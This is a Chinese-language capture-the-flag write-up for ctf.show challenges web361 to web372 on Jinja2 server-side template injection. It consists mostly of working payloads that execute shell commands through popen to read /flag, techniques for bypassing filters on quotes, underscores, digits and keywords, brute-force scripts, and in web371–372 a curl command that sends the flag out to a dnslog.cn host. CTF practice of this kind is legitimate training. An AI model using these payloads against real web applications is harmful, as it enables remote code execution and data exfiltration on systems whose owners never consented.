web361
第一个ssti,还是很友好滴,啥也没过滤
拥有一个很好用的hackbar还是挺幸福的,直接用hackrbar自带的ssti语句都可以
get传参:
{{url_for.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
做法还是很多的,这里再写一个常规一点的:
先是通过
__class__
获取当前类,通过__base__
获取基类获取基类的子类:
__subclasses__()
,脚本遍历寻找可利用类:import requests import tqdm url = 'http://5570d9a9-3005-4e3d-8058-ddc93807a27b.challenge.ctf.show/' for i in tqdm.tqdm(range(200)): r = requests.get(url=url+'?name={{"".__class__.__bases__[0].__subclasses__()['+str(i)+']}}') if "os._wrap_close" in r.text: print(i) # 输出132
payload:
?name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
web362
- payload:
?name={{url_for.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
- 所以过滤了啥
- 看了大佬的wp说是过滤了数字,可以换成全角数字绕过
- payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web363
过滤了单双引号
get传参绕过:
- payload:
?name={{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat /flag
- 或者:
?name={{lipsum.__globals__.os.popen(request.args.a).read()}}&a=cat /flag
字符串拼接绕过:
- 先传入
?name={{config}}
,寻找可利用字符- 如:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于?name={{url_for.__globals__['os']}}
- 可以写脚本遍历输出想要的字符的下标然后用
%2b
进行拼接通过chr拼接:
先找出 chr 函数,通过 chr 拼接
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
web364
- 过滤了引号和
args
,所以上一个题后两个方法依然可用,第一种可以把args
换成values
或cookies
- payload1:
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag
- payload2:
?name={{lipsum.__globals__.os.popen(request.cookies.a).read()}}
Cookie传参:a=cat /flag
web365
上一题的payload还是可以直接用,过滤了单双引号,
args
,中括号使用
__getitem__
魔术方法,把中括号转换为括号的形式__bases__[0]=__bases__.__getitem__(0)
,通过__getitem__()
构造任意字符payload:
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6) > ).read()}} # 即:{{url_for.__globals__.os.popen('cat /flag').read()}}
web366
- 在前边的基础上又过滤了下划线
- 可以用attr方法:
request|attr(request.cookies.a)
等价于request['a']
- 传参绕过:
?name={{(lipsum|attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
web367
- 过滤了
os
- 传参绕过:
?name={{(lipsum|attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os
web368
过滤了
{ {
,可以使用{ %
——(这里{
和%
之间不得不加个空格,不然hexo报错)payload:
?name={ % print((lipsum|attr(request.values.b)).get(request.values.c).popen(request.values.a).read())% }&a=cat /flag&b=__globals__&c=os
web369
ban了request,属于是不给人活路
用 string 过滤器得到 config 字符串:
config|string
,再转换成列表,config|string|list
用列表的
pop
方法就可以成功得到某个字符了,使用lower()
方法将字符转化为小写这里抄一个脚本:
import requests url = "http://32705783-a30e-4cab-9412-ec453af58a2d.challenge.ctf.show/?name={{% print (config|string|list).pop({" \ > "}).lower() %}} " payload = "cat /flag" result = "" for j in payload: for i in range(0, 1000): r = requests.get(url=url.format(i)) location = r.text.find("<h3>") word = r.text[location + 4:location + 5] if word == j.lower(): print("(config|string|list).pop(%d).lower() == %s" % (i, j)) result += "(config|string|list).pop(%d).lower()~" % i break print(result[:len(result) - 1])
字符串拼接绕过:
# 构造a等价于下划线_ {% set a=(()|select|string|list).pop(24) %} {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %} # 相当于lipsum.__globals__['__builtins__'].open('/flag').read()
payload:
?name={% set a=(()|select|string|list).pop(24) %} {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
web370
过滤了数字,可以使用
(dict(bb=a)|join|count)
绕过,有几个b就返回几个数字,然后进行字符串拼接payload:
?name={% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set coun=(cc~cccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}
或者还可以把半角数字换成全角数字绕过(抄一个转换为全角数字的脚本):
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full while 1: t = '' s = input("输入想要转换的数字字符串:") for i in s: t += half2full(i) print(t) # 全角 = 半角 + 0xfee0
payload:
?name={% set a=(()|select|string|list).pop(24) %} {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
web371
过滤 print 关键字,flag 不会回显,可以用curl命令将flag带出来
数字范围为可见字符的 ascii 码值,所以数字还要用上一题的第一个方法进行拼接
使用dnslog回显
?name={%set a=dict(po=aa,p=aa)|join%} {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%} {%set k=dict(eeeeeeeee=a)|join|count%} {%set l=dict(eeeeeeee=a)|join|count%} {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%} {%set b=(lipsum|string|list)|attr(a)(j)%} {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%} {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%} {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%} {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%} {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%} {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(uwtdnm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%} {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}lalala{%endif%}
感动,dnslog竟然好用了,摇了半天摇出来一个没有数字的地址
web372
过滤了count
直接用length替换掉,dnslog刷新,payload:
?name={%set a=dict(po=aa,p=aa)|join%} {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%} {%set k=dict(eeeeeeeee=a)|join|length%} {%set l=dict(eeeeeeee=a)|join|length%} {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%} {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%} {% set b=(lipsum|string|list)|attr(a)(j)%} {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%} {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%} {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%} {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%} {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%} {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(uwtdnm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%} {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}lalala{%endif%}
大佬们的wp: